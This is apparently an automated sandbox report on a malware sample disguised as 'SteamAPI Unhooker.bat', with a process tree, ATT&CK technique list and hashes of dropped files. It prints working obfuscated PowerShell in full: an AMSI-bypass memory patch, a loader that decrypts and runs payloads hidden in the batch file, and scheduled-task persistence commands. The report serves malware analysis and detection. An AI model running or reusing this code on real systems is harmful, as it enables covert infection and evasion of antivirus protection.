PID 2320 wrote to memory of 528	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1032	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1048	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1056	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1172	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1196	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1252	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1280	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1340	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1380	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1436	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1556	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1572	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1660	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1704	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1748	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1772	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1812	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1900	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1912	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1964	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 2004	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1672	2320	dllhost.exe	spoolsv.exe
PID 2320 wrote to memory of 2100	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 2244	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 2252	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 2412	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 2420	2320	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:604

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:1000

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{44d1d4c6-7289-459a-94d1-3a816bd598a1}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2320

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1172

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:jPOTZZnLVgzG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$aAXEImPJtrzNYO,[Parameter(Position=1)][Type]$zTckOoxhtk)$IciMnqAwgQT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Refl'+'e'+''+[Char](99)+''+'t'+''+'e'+'d'+'D'+''+[Char](101)+''+[Char](108)+'e'+'g'+'a'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+'as'+'s'+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$IciMnqAwgQT.DefineConstructor('R'+[Char](84)+'S'+'p'+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+'N'+'a'+'m'+'e'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$aAXEImPJtrzNYO).SetImplementationFlags('R'+[Char](117)+''+'n'+'ti'+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+'n'+'ag'+[Char](101)+''+[Char](100)+'');$IciMnqAwgQT.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+',H'+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+'l'+[Char](111)+'t'+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$zTckOoxhtk,$aAXEImPJtrzNYO).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');Write-Output $IciMnqAwgQT.CreateType();}$ODtuyioWfkvie=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+'U'+'n'+[Char](115)+'af'+[Char](101)+''+[Char](78)+'a'+'t'+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+'od'+[Char](115)+'');$DxsLfwWrPmrHkD=$ODtuyioWfkvie.GetMethod(''+'G'+''+[Char](101)+''+'t'+'Pr'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+'t'+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XongVEnNdDRLHqIxgor=jPOTZZnLVgzG @([String])([IntPtr]);$zuwNZkcwaEQUuSTCuBwRTu=jPOTZZnLVgzG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$eTvejnJjRAF=$ODtuyioWfkvie.GetMethod(''+[Char](71)+'e'+'t'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+'le'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$isIAhxWxeWuUkv=$DxsLfwWrPmrHkD.Invoke($Null,@([Object]$eTvejnJjRAF,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+'Li'+'b'+''+[Char](114)+''+'a'+''+[Char](114)+'y'+'A'+'')));$FvzJfCbJzYrGWtoMI=$DxsLfwWrPmrHkD.Invoke($Null,@([Object]$eTvejnJjRAF,[Object](''+'V'+'i'+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'tec'+'t'+'')));$BDeAEXe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($isIAhxWxeWuUkv,$XongVEnNdDRLHqIxgor).Invoke('am'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$EkkaUtGXMjMBchmQF=$DxsLfwWrPmrHkD.Invoke($Null,@([Object]$BDeAEXe,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+'Sc'+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$MsCvePHDti=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FvzJfCbJzYrGWtoMI,$zuwNZkcwaEQUuSTCuBwRTu).Invoke($EkkaUtGXMjMBchmQF,[uint32]8,4,[ref]$MsCvePHDti);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EkkaUtGXMjMBchmQF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FvzJfCbJzYrGWtoMI,$zuwNZkcwaEQUuSTCuBwRTu).Invoke($EkkaUtGXMjMBchmQF,[uint32]8,0x20,[ref]$MsCvePHDti);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+'t'+''+'a'+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1380

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1556

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2004

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2616

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2896

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:1468

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3368

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:5108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_482_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_482.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4836

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_482.vbs"
4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3640

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_482.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:2184

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:1764

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_482.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_482.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4716

C:\Users\Admin\AppData\Local\Temp\New.exe
"C:\Users\Admin\AppData\Local\Temp\New.exe"
7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4748

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:4448

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
7⤵
- Executes dropped EXE
PID:1848

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KilafD9X51NS.bat" "
7⤵
PID:1152

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
PID:4576

C:\Windows\SysWOW64\chcp.com
chcp 65001
8⤵
PID:3404

C:\Windows\SysWOW64\PING.EXE
ping -n 10 localhost
8⤵
- Runs ping.exe
PID:4956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3524

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3720

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3880

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4084

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:1452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2772

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3492

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4284

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2304

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3452

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:716

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 45d5507cdde13df5dcbf5d39d52cb1d6 wh1WZjrFrUKS2LjuEUgWPg.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:1360

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
2⤵
PID:2936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2220

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4904

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2292

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2064

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
55d32bc1c206428fe659912b361362de

SHA1
7056271e5cf73b03bafc4e616a0bc5a4cffc810f

SHA256
37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff

SHA512
2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
b2239c642ae37b49c99bffc889acee07

SHA1
099e9ac47f4d462e35a8cf461d60f5036f60bbfd

SHA256
5ae136d55240d4569365ae03b2aa4954002ff3ca62e00c16edb79a7f4c03afb8

SHA512
850ea2f5e8c231a98aa2992653be4ba70008b3616bb34e50426cfdace84510e0363a228712083869f1168a5bfca04fdc13c870b542ce7c81d0d8b2fc27d9473d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
163KB

MD5
b51552b77057c2405f73bbbf9c89234a

SHA1
4793adbba023f90d2d2ad0ec55199c56de815224

SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\KilafD9X51NS.bat

Filesize
276B

MD5
49cd78f46e78a84286a9ddd78033eb3c

SHA1
68505a3f205b4ca6ba97bf3a1e61c71c61de398d

SHA256
ce78b249a0155093be008dbac2867545e1b820cb5d875d00985b898e382b9aee

SHA512
b20f60813134e79a2c94be3138ef19e8d8f366ae3690397c6fd8e97c4301102ce21a4291bd39b1dee139824299afaddb3fbab22e31052b8274baf58d183c5018

Download Submit
C:\Users\Admin\AppData\Local\Temp\New.exe

Filesize
409KB

MD5
cf570b21f42f0ce411b7c9961068931e

SHA1
f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

SHA256
d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

SHA512
de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xw5siapq.1yl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-Logs\05-28-~1

Filesize
224B

MD5
